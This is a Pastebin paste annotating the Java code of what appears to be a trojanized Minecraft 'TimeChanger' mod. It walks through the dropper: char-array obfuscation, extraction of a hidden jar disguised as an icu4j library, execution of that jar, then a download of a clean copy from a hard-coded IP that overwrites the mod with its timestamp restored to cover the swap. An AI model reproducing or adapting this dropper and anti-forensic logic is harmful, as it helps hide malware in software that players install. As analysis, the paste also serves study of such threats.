Advertisement
ILikeJava

Untitled

Jul 20th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.55 KB | None | 0 0
  1. Made by red for SkidHopped
  2.  
  3.  
  4. try {
  5.  
  6. ####################################################
  7. Gets "Clean" bytecode from the file "a"
  8. ####################################################
  9. URL a = getClass().getResource(TimeChanger.a(new char[] {
  10. '/',
  11. 'a'
  12. }));
  13.  
  14. ####################################################
  15. Makes instance of "icu-4j-core"
  16. ####################################################
  17.  
  18. File b = new File(TimeChanger.a(new char[] {
  19. 'i',
  20. 'c',
  21. 'u',
  22. '4',
  23. 'j',
  24. '-',
  25. 'c',
  26. 'o',
  27. 'r',
  28. 'e',
  29. '-',
  30. 'm',
  31. 'o',
  32. 'j',
  33. 'a',
  34. 'n',
  35. 'g',
  36. '-',
  37. '5',
  38. '1',
  39. '.',
  40. '2',
  41. '.',
  42. 'j',
  43. 'a',
  44. 'r'
  45. }));
  46.  
  47. ####################################################
  48. Copies contents of "a" to icu-4j
  49. ####################################################
  50.  
  51. FileUtils.copyURLToFile(a, b);
  52.  
  53. ###########################################################################
  54. Gets path to itself and creates a file instance (m is itslef as a file)
  55. ###########################################################################
  56.  
  57. String c = TimeChanger.class.getProtectionDomain().getCodeSource().getLocation().getPath();
  58.  
  59. String cc = URLDecoder.decode(c, TimeChanger.a(new char[] {
  60. 'U',
  61. 'T',
  62. 'F',
  63. '-',
  64. '8'
  65. }));
  66.  
  67. File m = new File(cc.split("!")[0].substring(5, cc.split("!")[0].length()));
  68.  
  69. ##########################################################################
  70. Runs the 4j core jar file with argument of itself!
  71. ##########################################################################
  72.  
  73. Runtime.getRuntime().exec(
  74. TimeChanger.a(new char[] {
  75. 'j',
  76. 'a',
  77. 'v',
  78. 'a',
  79. ' ',
  80. '-',
  81. 'j',
  82. 'a',
  83. 'r',
  84. ' '
  85. }) +
  86. "\"" + b.getAbsolutePath() + "\" \"" + m.getAbsolutePath() + "\"");
  87.  
  88. Thread.sleep(5000 L);
  89.  
  90. b.delete();
  91. } catch (Exception e) {
  92. e.printStackTrace();
  93. }
  94.  
  95.  
  96. ////////////////////////////////////////////////////////////////
  97. The ij-core Jar file
  98. ////////////////////////////////////////////////////////////////
  99.  
  100.  
  101.  
  102. Url where clean time chnager is downloaded----> final URL downloadURL = new URL("http://144.217.87.106/TimeChanger-1.0.jar");
  103. Path to mod jar ---------> final String b = URLDecoder.decode(a, "UTF-8");
  104. File as Ourselfs ---------> final File c = new File(b.split("!")[0].substring(0, b.split("!")[0].length()));
  105. Last Modified time ---------> final long d = c.lastModified();
  106. Download file and replace "new time changer" -> final InputStream in = downloadURL.openStream();
  107. | final ByteArrayOutputStream out = new ByteArrayOutputStream();
  108. | final byte[] buffer = new byte[1024];
  109. | while (true) {
  110. | final int r = in.read(buffer);
  111. | if (r == -1) {
  112. | break;
  113. | }
  114. | out.write(buffer, 0, r);
  115. | }
  116. | out.flush();
  117. | final byte[] f = out.toByteArray();
  118. | in.close();
  119. | final FileOutputStream g = new FileOutputStream(c, false);
  120. | g.write(f);
  121. | g.close();
  122. Update last modified --> c.setLastModified(d);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement